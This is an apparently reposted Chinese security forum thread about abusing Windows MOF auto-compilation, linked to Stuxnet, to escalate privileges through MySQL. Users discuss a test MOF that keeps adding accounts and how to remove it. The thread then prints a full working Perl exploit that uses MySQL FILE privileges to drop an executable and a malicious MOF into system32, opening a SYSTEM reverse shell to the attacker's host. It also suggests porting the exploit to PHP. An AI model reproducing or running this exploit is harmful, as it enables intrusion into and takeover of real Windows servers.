漏洞正是工业级病毒Stuxnet所用的0day之一
windows写权限变成可执行权限的利用喜)
xsser
Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
Method2: 使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3: 拖放到 %SystemRoot%System32WbemMOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。
第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。
很多测试的时候会用得到吧,另外感觉应该有其他很多地方得机制可以导致自动启动?
鬼哥 :
@xsser 我现在只想知道怎么停止已执行的mof,昨天测试的时候放了个.mof到C:WINDOWSsystem32wbemmof 从昨天晚上一直到现在还在每过5秒就执行次 加个用户,搞的我郁闷死了。。。
昨天听 B1n4ry 说把net stop winmgmt 服务停止后,然后在删除了加进去的.mof OK 没继续执行了,,但是我怕服务器出现问题又把winmgmt 服务启动了, 邪恶 又开始5秒后自动加用户!
咋办。。
whking
@鬼哥 删除C:WINDOWSsystem32wbemmofgood 添加的mof后,在启动winmgmt 没出现加账户啊!
C:Documents and SettingsAdministrator>net stop winmgmt
Windows Management Instrumentation 服务正在停止.
Windows Management Instrumentation 服务已成功停止。
C:Documents and SettingsAdministrator>net start winmgmt
Windows Management Instrumentation 服务正在启动 .
Windows Management Instrumentation 服务已经启动成功。
鬼哥
@xsser 我错了,,,正确的方式是:
第一 net stop winmgmt 停止服务,
第二 删除文件夹:C:WINDOWSsystem32wbemRepository
第三 net start winmgmt 启动服务
第四:完毕不会在执行了。C:WINDOWSsystem32wbemRepository 放的是储存库 我们执行的.mof都会被加入到这个库了。然后一直按脚本设置的时间执行。。 删除后 重新启动 会重建个默认储存库 这样我们先前执行mof就没了
perl利用代码
# MySQL on Windows Remote Exploit # Leverages file privileges to obtain a SYSTEM shell # tested o windows server 2003 # Will retrieve the equivalent of: #C:UserskingcopeDownloadsnc11nt>nc -v -l -p 5555 #listening on [any] 5555 ... #connect to [192.168.2.150] from isowarez [192.168.2.150] 60357 #Microsoft Windows [Version 5.2.3790] #(C) Copyright 1985-2003 Microsoft Corp. # #C:WINDOWSsystem32>whoami #whoami #nt authoritysystem # #C:WINDOWSsystem32> # use DBI(); use Encode; $|=1; if ($#ARGV != 4) { print "MySQL on Windows Remote Exploit (requires user with 'file' privs)n"; print "Usage: perl mysql_win_remote.pln"; print "Example: perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555n"; exit; } $database = "mysql"; $host = $ARGV[0]; $user = $ARGV[1]; $password = $ARGV[2]; $ip = $ARGV[3]; $port = $ARGV[4]; $payload = "#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"event.exe $ip $port\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };"; my $dbh = DBI->connect("DBI:mysql:database=$database;host=$host;", $user, $password, {'RaiseError' => 0}); sub createblobs { $tablename = shift; $file = shift; eval { $dbh->do("DROP TABLE $tablename") }; print "Dropping $tablename failed: $@n" if $@; $dbh->do("CREATE TABLE $tablename (data LONGBLOB)"); open FILE, "prepare($sql) or do { die "It didn't work. [$DBI::errstr]n"; }; $sth->bind_param(1, $data); $sth->execute or do { die "It didn't work. [$DBI::errstr]n"; }; $sth->finish(); } my $sth = $dbh->prepare("SELECT @@version_compile_os;"); $sth->execute(); while (my @row = $sth->fetchrow_array()) { print "MySQL Version: $row[0]n"; } if (!$row[0] =~ /win/i) { print "nThis is not a Windows MySQLD!n"; exit; } print "W00TW00T!n"; createblobs("table1", "event.exe"); open FILE, ">nullevt.mof"; print FILE $payload; close FILE; createblobs("table2", "nullevt.mof"); $dbh->do("SELECT data FROM table1 INTO DUMPFILE 'c:/windows/system32/event.exe'"); $dbh->do("SELECT data FROM table2 INTO DUMPFILE 'c:/windows/system32/wbem/mof/nullevt.mof'"); $dbh->disconnect(); print "done.";
这个脚本只能针对开启远程连接的账户,只能远程利用
简单写下就能改成php 让本地使用了,
参考:
http://support.microsoft.com/kb/245773/zh-cn
http://www.exploit-db.com/exploits/23083/
http://msdn.microsoft.com/ZH-CN/library/windows/desktop/aa394171(v=vs.85).aspx
摘自:https://www.t00ls.net/thread-21251-1-1.html
相关内容:
MySQL 的 Windows 远程系统级漏洞(Stuxnet 病毒采用的技术)
留言评论(旧系统):
文章来源于lcx.cc:Mysql结合权限提升(Windows)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论